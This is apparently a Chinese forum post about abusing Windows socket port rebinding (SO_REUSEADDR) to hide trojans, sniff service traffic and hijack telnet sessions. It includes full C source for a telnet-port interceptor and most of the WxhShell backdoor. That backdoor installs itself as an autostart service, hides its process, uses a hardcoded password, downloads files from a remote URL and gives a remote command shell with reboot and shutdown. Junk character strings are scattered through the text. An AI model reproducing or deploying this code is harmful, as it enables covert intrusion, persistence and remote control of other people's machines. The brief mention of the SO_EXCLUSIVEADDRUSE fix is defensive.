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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0N^+d,Xt.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f-3CDUQ`  
$2\ 8Rn6'  
  saddr.sin_family = AF_INET; w i[9RD@  
UAPd["`)y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  4d\^  
JcUU#>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "]#Ij6ml  
@4hzNi+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KF zI27r  
PJiU2Y33  
  这意味着什么?意味着可以进行如下的攻击: L/ Q[N^ (^  
w+/`l*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (IBT|K  
Wk\(jaL%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =B9-}]DDO  
g]lEG>y1R  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ._^}M<o L  
&nP0T-T5y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y92R}e\M  
/1MmOB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gYhY1Mym  
U xBd14-R_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Hl`OT5 pNf  
S7)qq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5X20/+aT  
}9+;-*m/  
  #include 4~,Z 'k  
  #include q0NFz mG  
  #include sqrLys_S  
  #include    (da`aRVDp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QkBw59L7  
  int main() 8@;]@c)m  
  { +b(};(wL  
  WORD wVersionRequested; -NXxxK  
  DWORD ret; ^1najUpQ_n  
  WSADATA wsaData; |tGUx*NN  
  BOOL val; x="Wqcnj{  
  SOCKADDR_IN saddr; P9/ (f$=  
  SOCKADDR_IN scaddr; -B;#pTG  
  int err; 1(gs({  
  SOCKET s; umIGI  
  SOCKET sc; zY*9M3(X  
  int caddsize; $D1ha CL  
  HANDLE mt; UDHWl_%L  
  DWORD tid;   h m,{C  
  wVersionRequested = MAKEWORD( 2, 2 ); HU'Mi8xxy  
  err = WSAStartup( wVersionRequested, &wsaData ); UGSZg|&6#*  
  if ( err != 0 ) { inWLIXC,  
  printf("error!WSAStartup failed!\n"); )i~AXBt}  
  return -1; 2aj1IBnz6/  
  } lI<jYd 0fZ  
  saddr.sin_family = AF_INET; Nap[=[rv  
   }|.<EkA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ISGw}#}]?  
+/ZIs|B4,z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G&ck98  
  saddr.sin_port = htons(23); /'sv7hg+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AJ\&>6GZ(b  
  { h3o'T=`Sm  
  printf("error!socket failed!\n"); % T({;/  
  return -1; ye(b 7CX  
  } V4[-:k  
  val = TRUE; 8K,X3a9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cUY-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) aV\i3\da  
  { +V4)><  
  printf("error!setsockopt failed!\n"); V|8'3=Z=  
  return -1; rYb5#aT[  
  } O] @E8<?^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V&*IZt&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "`>6M&`U  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 duaF?\vv  
i#'K7XM2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d4| )=  
  { o701RG ~)  
  ret=GetLastError(); 2][9Wp  
  printf("error!bind failed!\n"); 2:38CdkYp  
  return -1; )x6 &Y  
  } e9{ii2M  
  listen(s,2); "wgPPop  
  while(1) -8 uS#  
  { B!wN%> U  
  caddsize = sizeof(scaddr); y\T$) XGV  
  //接受连接请求 g88k@<Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1#vu)a1+b  
  if(sc!=INVALID_SOCKET) if*V-$[I  
  { t\M6 d6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s<!A< +Sh  
  if(mt==NULL) "V[j&B)P  
  { >V"{]v  
  printf("Thread Creat Failed!\n"); YK/? mj1x  
  break; w){B$X  
  } v3DK0MW  
  } 3~`P8 9  
  CloseHandle(mt); k8s)PN  
  } SY,ns*>1F  
  closesocket(s); {8m&Z36E  
  WSACleanup(); > "hP  
  return 0; *y4DK6OFe  
  }   *$A`+D9  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9K$ x2U  
  { c}@E@Y`@w  
  SOCKET ss = (SOCKET)lpParam; ^(q .f=I!a  
  SOCKET sc; ntIR#fB  
  unsigned char buf[4096]; TzKM~a#  
  SOCKADDR_IN saddr; F$UL.`X _/  
  long num; U^_\V BAk  
  DWORD val; x// uF  
  DWORD ret; Zf$mwRS[_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Fg`<uW]TFZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )<QX2~m<  
  saddr.sin_family = AF_INET; -53c0g@X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Z2XVq~T$  
  saddr.sin_port = htons(23); JZ}zXv   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pLu5x<  
  { yy5|8L  
  printf("error!socket failed!\n"); 'd N1~Pa  
  return -1; 8=D,`wog  
  } G ]h  
  val = 100; .5\@G b.8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uihH")Mo  
  { Ar)EbGId  
  ret = GetLastError(); p-j6H  
  return -1; ! VT$U6  
  } {`):X_$T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "`;-5dg  
  { u.A}&'H  
  ret = GetLastError(); (&.T  
  return -1; :?UcD_F  
  } 6D| F1UFU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |cd "cx+  
  { w<~[ad}  
  printf("error!socket connect failed!\n"); >K'dgJ245  
  closesocket(sc); 0=&S?J#!  
  closesocket(ss); *SJ[~  
  return -1; Bvvja C  
  } 6Gg`ExcT5  
  while(1) '`;=d<'  
  { i=/hLE8T*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0to`=;JI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;39b.v\^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 or#] ![7N  
  num = recv(ss,buf,4096,0); }bRn&)e  
  if(num>0) >-V632(/{o  
  send(sc,buf,num,0); (Q*x"G#4>  
  else if(num==0) rV\G/)xL  
  break; Qq6'[Od  
  num = recv(sc,buf,4096,0); 0e&&k  
  if(num>0) q0q-Coh>  
  send(ss,buf,num,0); <}RD]Sc$1  
  else if(num==0) 8N)Lck2PR  
  break; \A^8KVE!  
  } dfAw\7v/  
  closesocket(ss); y =sae  
  closesocket(sc); v6G1y[Wl  
  return 0 ; 8VG}-   
  } 9_==C"F  
rMVcoO@3  
%h(%M'm?  
========================================================== u ]y[g  
_1RvK? ;.{  
下边附上一个代码,,WXhSHELL 2ZV; GS#  
s#<fj#S  
========================================================== :' 5J[]J  
4<tbZP3/6)  
#include "stdafx.h" Wgs6}1b g  
"c} en[  
#include <stdio.h> &0f/F:M  
#include <string.h> (`slC~"  
#include <windows.h> 0'f\>4B  
#include <winsock2.h> ;o)'dK  
#include <winsvc.h> G11KAq(  
#include <urlmon.h> Jw=7eay$F  
U]+IP;YS  
#pragma comment (lib, "Ws2_32.lib") q|%+?j(  
#pragma comment (lib, "urlmon.lib") UhDf6A`]  
Y,L[0%  
#define MAX_USER   100 // 最大客户端连接数 Z,AY<[/C  
#define BUF_SOCK   200 // sock buffer q{}5wM  
#define KEY_BUFF   255 // 输入 buffer BPkL3Ev1V  
0827z  
#define REBOOT     0   // 重启 }|/A &c  
#define SHUTDOWN   1   // 关机 :FU?vh$)  
/Z]nV2$n)V  
#define DEF_PORT   5000 // 监听端口 s>G]U)d<'  
^w%%$9=:r  
#define REG_LEN     16   // 注册表键长度 F0&ubspt\  
#define SVC_LEN     80   // NT服务名长度 '/XP4B\(E  
j;48Yya'  
// 从dll定义API $bKXP(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d 4tL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D=vw0Q_3Y3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LH}9&FfjU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _vb'3~'S  
;=IJHk1&  
// wxhshell配置信息 KF(y`(8f  
struct WSCFG { 'Q=)-  
  int ws_port;         // 监听端口 #%ld~dgz-  
  char ws_passstr[REG_LEN]; // 口令 EKcPJ\7  
  int ws_autoins;       // 安装标记, 1=yes 0=no j&/+/s9N  
  char ws_regname[REG_LEN]; // 注册表键名 |*w)]2B l  
  char ws_svcname[REG_LEN]; // 服务名 e(0 cz6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &`s{-<t<L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Fhllqh)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a+J>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P5B,= K>r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tA4Ra,-c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H-&27?s^  
!^y;|9?O  
}; p),* 4@2<  
_kRc"MaB  
// default Wxhshell configuration FXY>o>K%h  
struct WSCFG wscfg={DEF_PORT, gi/k#3_m  
    "xuhuanlingzhe", 3f^jy(  
    1, l=T;hk  
    "Wxhshell", stfniV  
    "Wxhshell", jyF*JQjK4  
            "WxhShell Service", e(^I.`9z  
    "Wrsky Windows CmdShell Service", A p?,y?  
    "Please Input Your Password: ", -,;woOG  
  1, G Wa6FX:/  
  "http://www.wrsky.com/wxhshell.exe", ~a3u['B  
  "Wxhshell.exe" Q3=5q w^  
    }; *XWu)>*o  
'l!\2Wv2  
// 消息定义模块 C4PT(cezR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;Q q_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @}R y7H0O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Sn'!Nq>  
char *msg_ws_ext="\n\rExit."; d>I)_05t  
char *msg_ws_end="\n\rQuit."; CDtL.a\  
char *msg_ws_boot="\n\rReboot..."; Y ~I>mc]  
char *msg_ws_poff="\n\rShutdown..."; \$4z@`nY  
char *msg_ws_down="\n\rSave to "; 6J JA"] `  
1;kMbl]  
char *msg_ws_err="\n\rErr!"; F[O147&C  
char *msg_ws_ok="\n\rOK!"; |Fze9kZO  
` W );+s  
char ExeFile[MAX_PATH]; 19(x$=:  
int nUser = 0; \fC;b"j  
HANDLE handles[MAX_USER]; SfPQ;s'  
int OsIsNt; a""9%./B  
1V[ZklS  
SERVICE_STATUS       serviceStatus; D5Sbs(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dVMl;{  
I*o6Bn |D  
// 函数声明 ^Lfwoy7R  
int Install(void); '>1M~B  
int Uninstall(void); C^'r>0  
int DownloadFile(char *sURL, SOCKET wsh); ,Js_d  
int Boot(int flag); dn])6Xl;i  
void HideProc(void); y_W?7 S  
int GetOsVer(void); O \o@]  
int Wxhshell(SOCKET wsl); Gl w|*{$  
void TalkWithClient(void *cs); 3j$, L(  
int CmdShell(SOCKET sock); hTZ6@i/pS  
int StartFromService(void); P%yL{  
int StartWxhshell(LPSTR lpCmdLine); 3I}AA.h'00  
-*w2<DCn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZW"f*vwQo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p}!)4EI=  
3HP { a  
// 数据结构和表定义 k 75 p  
SERVICE_TABLE_ENTRY DispatchTable[] = [{xY3WS  
{ O{byMV{Ou  
{wscfg.ws_svcname, NTServiceMain}, uw8g%  
{NULL, NULL} !E00I0W-h  
}; 1z2v[S&pk  
5lzbg   
// 自我安装 %j17QD8  
int Install(void) MU] F'6V  
{ hV`?, ~K  
  char svExeFile[MAX_PATH]; @(x]+*)  
  HKEY key; ;XZN0A2  
  strcpy(svExeFile,ExeFile); Dn#5H{D-d  
mqJD+ K  
// 如果是win9x系统,修改注册表设为自启动 \&V[<]  
if(!OsIsNt) { ?Y\WSI?i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {*CG&-k2D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~v/` `s  
  RegCloseKey(key); .':17 $c`H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fv/{)H<:y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~PF,[$?4n  
  RegCloseKey(key); 13 JG[,w  
  return 0; ^56D)A=  
    } u\xrC\Ka  
  } e>!]_B1ad  
} Jq>5:"jZ0  
else { 5$Kv%U  
ZZ!6O/M  
// 如果是NT以上系统,安装为系统服务 #vy[v22  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); si]MQ\i+  
if (schSCManager!=0) ~^Ga?Q_  
{ qB$QC  
  SC_HANDLE schService = CreateService Op 9+5]XF  
  ( ,T  3M  
  schSCManager, ,e`n2)  
  wscfg.ws_svcname, /N/jwLr  
  wscfg.ws_svcdisp, 5 8U[IGs(  
  SERVICE_ALL_ACCESS, w[QC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9ucoQ@  
  SERVICE_AUTO_START, 2"Unk\Y  
  SERVICE_ERROR_NORMAL, yQu/({D  
  svExeFile, z'>b)wY](  
  NULL, ph2 _P[S'  
  NULL, KV{  
  NULL, >K%+h)%kI  
  NULL, 9dp4&&Z+F  
  NULL a{By U%  
  ); vf?m6CMU !  
  if (schService!=0) !14v Ovj4{  
  { h;cw=G  
  CloseServiceHandle(schService); 0Y~5|OXJ  
  CloseServiceHandle(schSCManager); ]nxSVKE4p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [zrFW g6N  
  strcat(svExeFile,wscfg.ws_svcname); NZ^hp\q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &)!N5Veb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JkLpoe81  
  RegCloseKey(key); BH$hd|KD<  
  return 0; 6TQ[2%X'  
    } J}@.f-W\j  
  } 4*q6#=G  
  CloseServiceHandle(schSCManager); d.U"lP/)D  
} hx~rq `{  
} ="g9>  
#K> Ue>hx  
return 1; shY8h   
} 3?&P^{  
e&<=+\ul  
// 自我卸载 @GQtyl;q  
int Uninstall(void) j2hp*C'^  
{ Djp;\.$(  
  HKEY key; $D*Yhv!/  
3XUie;*`  
if(!OsIsNt) { 7u%OYt D E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]e? L,1-  
  RegDeleteValue(key,wscfg.ws_regname); ZZeF1y[q  
  RegCloseKey(key); d8^S~7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d&DQ8Gm ^  
  RegDeleteValue(key,wscfg.ws_regname); QA~Lm  
  RegCloseKey(key); |A)a ='Ap  
  return 0; mP +H C)2  
  } [hiV #  
} ;l@Ge`&u  
} cw~-%%/  
else { gp^xl>E  
llpgi,-=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qi1#s,  
if (schSCManager!=0) "(;t`,F  
{ Y^5)u/Y=U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .`h:1FP 8  
  if (schService!=0) 2$joM`j$  
  { xHn "D@  
  if(DeleteService(schService)!=0) { 1z8fhE iiE  
  CloseServiceHandle(schService); 6#2E {uy;R  
  CloseServiceHandle(schSCManager); :rN5HOg^9  
  return 0; ~=Fp0l)#  
  } ENZYrWl  
  CloseServiceHandle(schService); [g lhru=+  
  } *iVv(xXgN  
  CloseServiceHandle(schSCManager); kE{-h'xADD  
} 8-Z|$F"  
} fj y2\J!  
e[.JS6  
return 1; ?Aky!43  
} ^ Mq8jw(2  
4AN(4"$N  
// 从指定url下载文件 +?C7(-U>  
int DownloadFile(char *sURL, SOCKET wsh) jbu+>  
{ ia%U;M  
  HRESULT hr; "l-b(8n  
char seps[]= "/"; .$r7q[  
char *token; 9Qc=D"'  
char *file; 'n "n;  
char myURL[MAX_PATH]; m/1;os5+8  
char myFILE[MAX_PATH]; od]1:8OF  
!;&{Q^}  
strcpy(myURL,sURL); 4]ETF+   
  token=strtok(myURL,seps); M}!E :bv'  
  while(token!=NULL) d>`s+B9K0  
  { 8F T@TUFb  
    file=token; '<hg c  
  token=strtok(NULL,seps); kwpbgQ  
  } 2~W8tv0^b2  
2[Bw+<YA`  
GetCurrentDirectory(MAX_PATH,myFILE); ]*yUb-xY  
strcat(myFILE, "\\"); JA6#qlylL  
strcat(myFILE, file); aumM\rY  
  send(wsh,myFILE,strlen(myFILE),0); "v5jYz5M  
send(wsh,"...",3,0); Q~$hx{foN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y-:dPc{  
  if(hr==S_OK) Z oQPvs7_  
return 0; OC_i,  
else 0D^c4[Y'l  
return 1; , Y cF~  
{~~'  
} vo]$[Cp|4  
1<&nHFJ;[  
// 系统电源模块 JI[9c,N  
int Boot(int flag) G}gmkp]z  
{ eR:!1z_h  
  HANDLE hToken; !1Z rS  
  TOKEN_PRIVILEGES tkp; \kVi&X=q:  
./E<v  
  if(OsIsNt) { {&s.*5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jV|/ C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XiN@$  
    tkp.PrivilegeCount = 1; [[VB'Rs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n*vhCeL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qgZN&7Nn:  
if(flag==REBOOT) { l*>, :y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~YCZvJ  
  return 0; RI-)Qx&!f  
} xC.Tipn>  
else { Sv|jR r'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )E (9 R(  
  return 0; &{H LYxh   
} h(3ko An  
  } @}iY(-V  
  else { 6`sS8Ar&u  
if(flag==REBOOT) { EZg$mp1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u(Y?2R  
  return 0; .]H1uoci|  
} g~Agy  
else { 2g:V_%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Vo:Gp  
  return 0; Z2hIoCT  
} f%5 s8)  
} x#,nR]C  
yUp"%_t0  
return 1; <c$K3  
} *Z C$DW!-  
!Xf7RT  
// win9x进程隐藏模块 bO\E)%zp  
void HideProc(void) -x0VvkHu  
{ m*Q*{M_e  
55]E<2't  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m03]SF(#3  
  if ( hKernel != NULL ) z]O,Vqpl?  
  { z;d]=PT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {m2lVzK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ec;{N  
    FreeLibrary(hKernel); [[ ;vZ  
  } f+iM_MI  
hAv.rjhw_  
return; @#= ail  
} l!^+Xeg~  
Zbobi,  
// 获取操作系统版本 ?,0 5!]  
int GetOsVer(void) > qhoGg  
{ 9XSZD93L  
  OSVERSIONINFO winfo; "o.g}Pv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i`)h~V|G  
  GetVersionEx(&winfo); 2 N$yn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qS{E+)P  
  return 1; Rx>>0%e.  
  else DsZBhjCB  
  return 0; FG[YH5  
} ="*:H)  
rp^G k  
// 客户端句柄模块 }u aRS9d  
int Wxhshell(SOCKET wsl) X[{tD#  
{ Ug1n4X3FKn  
  SOCKET wsh; ?6=u[))M&  
  struct sockaddr_in client; X|iWnz+^  
  DWORD myID; 5o&noRIIr  
]&mN~$+C  
  while(nUser<MAX_USER) |q:p^;x  
{ 50l! f7  
  int nSize=sizeof(client); (+^z9p7/!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f8c'`$O  
  if(wsh==INVALID_SOCKET) return 1; wmQT$`$b  
+.u)\'r;h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _'"whZ)2  
if(handles[nUser]==0) VX<jg#(  
  closesocket(wsh); WK<:(vu.  
else 2iJ)K rw  
  nUser++; 5RysN=czA  
  } v==b. 2=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {hmC=j  
c{X:0man  
  return 0; ZgP~VB0)$  
} ".Q``d&X  
>A RZ=x[  
// 关闭 socket AsOkOS3  
void CloseIt(SOCKET wsh) +%%Ef]  
{ \(db1zmS~  
closesocket(wsh); f=L&>X  
nUser--; 3?+CP-T-j  
ExitThread(0); K_" denzT+  
} c :{#H9  
dpPu&m+  
// 客户端请求句柄 @*VfG CQ(  
void TalkWithClient(void *cs) }CCTz0[D"  
{ 2`?58&  
Uf ?._&:  
  SOCKET wsh=(SOCKET)cs; EL?6x  
  char pwd[SVC_LEN]; @3Lh/&  
  char cmd[KEY_BUFF]; +p Y*BP+~i  
char chr[1]; Q,f~7IVX  
int i,j; B,_/'DneQK  
l 7XeZ} S  
  while (nUser < MAX_USER) { Us.")GiHE  
\@}G'7{  
if(wscfg.ws_passstr) { ]"2;x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UCz\SZ{za  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b5u8j  
  //ZeroMemory(pwd,KEY_BUFF); `;7eu=  
      i=0; BIk0n;Kz<L  
  while(i<SVC_LEN) { ~fV\ X*  
dx&!RK+  
  // 设置超时 T{"[Ih3Mbl  
  fd_set FdRead; UK7pQt}9  
  struct timeval TimeOut; s.#%hPX{  
  FD_ZERO(&FdRead); =Lc!L !(,b  
  FD_SET(wsh,&FdRead); U{JD\G 8m  
  TimeOut.tv_sec=8; S#{jyU9 ]  
  TimeOut.tv_usec=0; >]!8f?,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )9]DJ!]&Q"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wOLDHg_  
QH d^?H*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n?[JPG2X  
  pwd=chr[0]; 2I@d=T{K  
  if(chr[0]==0xd || chr[0]==0xa) { 9*&c2jh  
  pwd=0; "K9/^S_  
  break; aob+_9o  
  } <l.l6okp  
  i++; "PD^]m  
    } )/y7Fh  
d$H   
  // 如果是非法用户,关闭 socket mM$|cge"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 44x+2@&1  
} -`8pahI  
\}n\cUy-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vH?rln  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !S3^{l-  
#aua6V!"  
while(1) { TlEd#XQgf&  
8)o%0#;0B  
  ZeroMemory(cmd,KEY_BUFF); 0z =?}xr  
*/6lyODf  
      // 自动支持客户端 telnet标准   ~z kzuh  
  j=0;  ;H4s[#K  
  while(j<KEY_BUFF) { A/c#2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N*`qsv 0  
  cmd[j]=chr[0]; ZamOYkRX  
  if(chr[0]==0xa || chr[0]==0xd) { rHa*WA;TE  
  cmd[j]=0; Bc*FH>E  
  break; )vsX (/WU  
  } qI%X/'  
  j++; SYd6D@^2j  
    } Ab In\,x  
EvKzpxCh  
  // 下载文件 Q3I^(Ll"L  
  if(strstr(cmd,"http://")) { sx n{uRF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *6bO2LO"  
  if(DownloadFile(cmd,wsh)) 3OB=D{$V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,(A $WT@e  
  else ZYS]Et[Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `tPVNO,l  
  } T'> MXFLh  
  else { 7tP%tp ez  
^~;"$=Wf  
    switch(cmd[0]) { .]e_je_  
  RG.wu6Av  
  // 帮助 ~Z~V:~  
  case '?': { I<rT\':9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o/6VOX  
    break; #:NY9.\o  
  } U38~m}c  
  // 安装 4nrn Npf`b  
  case 'i': { '.wb= C  
    if(Install()) U,K=(I7OBX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i IM\_<?  
    else  i}_"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =NmW}x|n  
    break; FP'-=zgc  
    } b_X&>^4Dkl  
  // 卸载 \(MI DCZ@-  
  case 'r': { FeZ*c~q  
    if(Uninstall()) A5T&i]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P1R5}i  
    else DNr*|A2<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wF9L<<&B  
    break; .I?~R:(Ig  
    } 6>]w1 H  
  // 显示 wxhshell 所在路径 nMK$&h,{  
  case 'p': { |\W53,n9  
    char svExeFile[MAX_PATH]; x"n++j  
    strcpy(svExeFile,"\n\r"); .8->n aj|  
      strcat(svExeFile,ExeFile); 15S&,$ 1&  
        send(wsh,svExeFile,strlen(svExeFile),0); l8khu)\n4R  
    break; .DI?-=p|_#  
    } a^8PB|G  
  // 重启 K3Bw3j 9  
  case 'b': { pC]XbokES  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :dqZM#$d  
    if(Boot(REBOOT))  T  5F)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  !TivQB  
    else { SpImd IpD  
    closesocket(wsh); T%;V_iW-  
    ExitThread(0); ! B92W  
    } VEpcCK  
    break; XF+4*),  
    } '#XT[\  
  // 关机 zE<Iv\Q  
  case 'd': { Q:|W/RD~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Af\  
    if(Boot(SHUTDOWN)) 1BEs> Sm  
